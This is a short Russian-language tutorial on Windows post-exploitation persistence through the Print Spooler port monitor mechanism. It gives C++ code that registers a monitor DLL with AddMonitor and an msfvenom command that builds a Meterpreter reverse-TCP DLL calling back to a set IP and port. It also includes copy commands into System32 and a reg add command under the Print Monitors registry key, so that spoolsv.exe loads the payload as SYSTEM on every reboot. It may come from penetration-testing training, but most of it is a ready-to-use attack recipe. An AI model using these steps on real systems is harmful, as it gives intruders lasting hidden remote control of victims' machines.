
A old way to Persistence
Используется для поддержания привилегий на этапе пост-эксплуатации
Шаг 1: Скачайте проект, затем скомпилируйте Monitor.cpp с помощью VS. Можно также использовать уже скомпилированный файл. Код Monitor.cpp приведён ниже:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Шаг 2: Сгенерируйте DLL-полезную нагрузку с помощью Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Шаг 3: Скопируйте shell.dll в каталог system32 целевого хоста, затем переименуйте его в test.dll (то есть в PDLLName из примера выше; вы можете изменить его на своё усмотрение — как угодно)
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Шаг 4: Затем перейдите в каталог system32 и выполните следующую команду (Monitors.exe — это ранее скомпилированный файл, его также необходимо разместить в каталоге system32):
Monitors.exe

Шаг 5: После этого успешно устанавливается сессия Meterpreter

Для обеспечения персистентности необходимо создать ключ в разделе реестра "Monitors":
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Затем выполните в командной строке следующую команду для создания записи реестра, которая будет содержать значение test.dll. Проверьте в редакторе реестра, что ключ был создан:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

При следующей перезагрузке процесс spoolsv.exe загрузит все DLL-файлы драйверов, которые существуют в разделе реестра Monitors и хранятся в папке System32 папки Windows. На рисунке ниже показано, что сессия Meterpreter установлена с тем же уровнем привилегий, что и служба Print Spooler (SYSTEM), и была запущена из папки System32
